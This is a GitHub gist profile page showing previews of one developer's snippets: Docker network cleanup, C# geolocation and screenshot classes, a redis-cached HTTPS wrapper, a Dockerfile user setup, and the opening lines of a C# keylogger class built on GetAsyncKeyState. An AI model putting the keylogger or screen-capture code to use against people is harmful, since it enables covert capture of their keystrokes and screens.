Skip to content

Instantly share code, notes, and snippets.

View progress44's full-sized avatar
Drinking coffee

Ani Sinanaj progress44

Drinking coffee
View GitHub Profile
@progress44
progress44 / delete_orphaned_veth_docker.sh
Created April 13, 2019 09:55 — forked from daanemanz/delete_orphaned_veth_docker.sh
Delete orphaned veth* interfaces on Docker bridge
#!/bin/bash
veth_in_use=()
veth_unused=()
veth_all=()
function veth_interface_for_container() {
local pid=$(docker inspect -f '{{.State.Pid}}' "${1}")
mkdir -p /var/run/netns
ln -sf /proc/$pid/ns/net "/var/run/netns/${1}"

JavaScript, the weird parts

link to notes https://git.io/vgpKc

about Sher Minn

  • front-end web engineer
  • funemployed, but joining Viki.com in a week
  • recently spent 3 months in NYC at the Recurse Center
    • retreat for programmers
  • where people go to be better at what they do
@progress44
progress44 / geolocation.cs
Created October 7, 2018 20:38
Geolocation class in C#
class GeoLocation
{
#region Properties
string latitude;
string lognitude;
string city;
string country;
string host;
string ip;
string code;
@progress44
progress44 / screencapture.cs
Created October 7, 2018 20:25
Taking screenshots on windows.
public class ScreenCapture
{
public Image CaptureScreen()
{
return CaptureWindow(User32.GetDesktopWindow());
}
public Image CaptureWindow(IntPtr handle)
{
var screens = Screen.AllScreens;
@progress44
progress44 / keylogger.cs
Created October 7, 2018 20:07
C# Keylogger class
public class Keylogger
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
private System.String keyBuffer;
private System.Timers.Timer timerKeyMine;
@progress44
progress44 / unjar
Created September 18, 2018 22:11
Script to open aar and jar files
#!/bin/bash
unzip ${1}.${2} -d ${1} # or other extracting tool
# Change whatever you need
jar cvf ${1}_.${2} -C ${1} .
@progress44
progress44 / imdb.ipynb
Created August 7, 2018 11:10
IMDB text classification. TensorFlow example
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@progress44
progress44 / tf.ipynb
Created August 5, 2018 12:38
A Jupyter notebook with a TensorFlow example
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@progress44
progress44 / https.js
Last active July 17, 2018 09:36
Utility wrapping requests and enabling caching with redis for http requests
const https = require('https')
const qs = require('querystring')
const redis = require("redis")
const sha1 = require("sha1")
const url = require('url')
const util = require('util')
const client = redis.createClient({
host: config.redis.host,
port: config.redis.port,
@progress44
progress44 / Dockerfile
Created December 1, 2017 21:34
Create a user in dockerfile
# Provide a non-root user to run the process.
RUN groupadd --gid 1000 username && \
useradd --uid 1000 --gid 1000 \
--home-dir /usr/share/username --no-create-home \
username
USER username